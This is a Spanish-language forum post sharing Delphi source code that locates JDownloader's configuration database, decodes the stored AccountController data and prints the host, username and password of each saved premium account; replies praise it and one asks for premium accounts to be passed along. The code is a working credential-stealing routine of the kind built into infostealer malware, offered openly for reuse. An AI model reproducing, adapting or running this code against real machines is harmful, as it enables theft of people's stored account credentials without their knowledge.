Permite recuperar las cuentas almacenadas en la DB de JDownloader.

Código: Seleccionar todo

//******************************************************************************
//* UNIT:         UNT_JDRec
//* AUTOR:        Fakedo0r .:PD-TEAM:.
//* FECHA:        16.05.2012
//* CORREO:       [email protected]
//* BLOG:         Sub-Soul.blogspot.com
//* USO:          JDownloaderRec
//******************************************************************************
unit UNT_JDRec;
//******************************************************************************
//DECLARACION DE LIBRERIAS / CLASES
//******************************************************************************
interface

uses
  Winapi.Windows, System.SysUtils, System.Classes, Winapi.ShlObj, Vcl.Dialogs, StrUtils, RegularExpressions;
//******************************************************************************
//DECLARACION DE FUNCIONES / PROCEDIMIENTOS
//******************************************************************************
function JDownloaderRec: String;
function IsFileExists(sFile: String): BOOL;
function ReadFileA(sFile: String): String;
function GetSpecialFolderA(iCSIDL: Integer): String;
Function RegSplitA(Pattern, sCadena: String): TStrings;
function ByteArrayToString(bByteArray: TBytes): AnsiString;
//******************************************************************************
implementation
//******************************************************************************
//<--- Recupera Cuentas del JDownloader --->
//******************************************************************************
function JDownloaderRec: String;
var
  sHost:      String;
  sUser:      String;
  sPass:      String;
  sPath:      String;
  sPart:      String;
  sDatos:     String;
  sDecrypted: String;
  I:          Integer;
  D:          Integer;
  sLines:     TStrings;
begin
  I := 1;
  sPath := GetSpecialFolderA(CSIDL_PROGRAM_FILES) + '\JDownloader\config\database.script';

  if IsFileExists(sPath) = False then Exit;

  sDatos := ReadFileA(sPath);
  sPart := 'INSERT INTO CONFIG VALUES(' + Chr($27) + 'AccountController' + Chr($27) + ',' + Chr($27);
  sDatos := Copy(sDatos, AnsiPos(sPart, sDatos) + Length(sPart), Length(sDatos));
  sDatos := Copy(sDatos, 1, AnsiPos(Chr($27) + ')', sDatos) - 1);

  while I <= Length(sDatos) - 2 do
  begin
    sDecrypted := sDecrypted + Chr(StrToInt('$' + Copy(sDatos, I, 2)));
    I := I + 2;
  end;

  sLines := RegSplitA('\0', sDecrypted);
  sDecrypted := '';

  for I := 0 to sLines.Count - 1 do
  begin
    for D := 1 to 31 do
      sLines.Strings[i] := StringReplace(sLines.Strings[i], Chr(D), '', [rfReplaceAll, rfIgnoreCase]);
    sLines.Strings[i] := StringReplace(sLines.Strings[i], Chr(255), '', [rfReplaceAll, rfIgnoreCase]);

    If sLines.Strings[I] <> '' Then
      sDecrypted := sDecrypted + #13 + sLines.Strings[i];
  end;

  sLines := RegSplitA('\r', sDecrypted);

  for I := 0 to sLines.Count - 1 do
  begin
    if RightStr(sLines.Strings[I], 2) = 'sq' then
      if AnsiPos('.', sLines.Strings[I]) > 0 then
        sHost :=  Trim(LeftStr(sLines.Strings[I], Length(sLines.Strings[I]) - 2));

    if RightStr(sLines.Strings[I], 1) = 't' then
      if RightStr(sLines.Strings[I + 1], 2) = 'xt' Then
      begin
        sPass := Trim(LeftStr(sLines.Strings[I], Length(sLines.Strings[I]) - 1));
        sUser := Trim(LeftStr(sLines.Strings[I + 1], Length(sLines.Strings[I + 1]) - 2));
        Result := Result + 'Host: ' + sHost + #13 +
                           'User: ' + sUser + #13 +
                           'Pass: ' + sPass + #13#13
      end;
  end;
end;
//******************************************************************************
//<--- SPLIT [EXPRESIONES REGULARES] --->
//******************************************************************************
Function RegSplitA(Pattern, sCadena: String): TStrings;
Var
  I: Integer;
  RegEx: TRegEx;
  sArrVar: TArray<String>;
Begin
  Result := nil;
  Result := TStringList.Create;
  sArrVar := tRegEx.Split(sCadena, Pattern);

  For I := 0 To Length(sArrVar) - 1 Do
    Result.Add(sArrVar[I]);
End;
//******************************************************************************
//<--- OBTIENE LAS RUTAS ESPECIALES --->
//******************************************************************************
function GetSpecialFolderA(iCSIDL: Integer): String;
Var
   pszPath: PChar;
   iRet:    Integer;
   tIDL:    PItemIDList;
begin
  GetMem(pszPath, MAX_PATH);
  iRet := SHGetSpecialFolderLocation(0, iCSIDL, tIDL);

  if iRet = NOERROR then
  begin
    SHGetPathFromIDList(tIDL, pszPath);
    GetSpecialFolderA := String(pszPath);
  end;

  FreeMem(pszPath);
end;
//******************************************************************************
//<--- PERMITE LEER FICHEROS --->
//******************************************************************************
function ReadFileA(sFile: String): String;
var
  dwRet:    DWORD;
  hFile:    THandle;
  iSize:    Integer;
  bRead:    TBytes;
begin
  hFile := CreateFile(PChar(sFile), GENERIC_READ, FILE_SHARE_READ, nil,
                      OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

  if hFile = INVALID_HANDLE_VALUE then
  begin
    Exit;
  end;

  iSize := GetFileSize(hFile, nil);
  SetFilePointer(hFile, 0, nil, FILE_BEGIN);
  SetLength(bRead, iSize);

  ReadFile(hFile, bRead[0], iSize, dwRet, nil);
  CloseHandle(hFile);

  Result := ByteArrayToString(bRead);
end;
//******************************************************************************
//<--- CONVIERTE ARRAY DE BYTES EN STRING --->
//******************************************************************************
function ByteArrayToString(bByteArray: TBytes): AnsiString;
var
  i: Integer;
begin
  SetLength(Result, Length(bByteArray));

  for i := 0 to Length(bByteArray) do
    Result[i + 1] := AnsiChar(bByteArray[i]);
end;
//******************************************************************************
//<--- VERIFICA SI EL ARCHIVO EXISTE --->
//******************************************************************************
function IsFileExists(sFile: String): BOOL;
var
  iRet: DWORD;
begin
  Result:= True;
  iRet := GetFileAttributes(PChar(sFile));

  if iRet = INVALID_FILE_ATTRIBUTES then
  begin
    Result := False;
  end;
end;

end.
Saludo.
El secreto de mi éxito es Jesús
muy bueno!! ya veo que te pusiste con delphi a full!!
La verdad siempre sirven las premium.
Apropósito pasame varias que estoy escaso
PD: la proxima ves que me digas hasta mañana por msn y cierres sin darme tiempo a responder , TE REVIENTOO
un abrazo hijo mio.
Siempre por aqui
Responder

Volver a “Fuentes”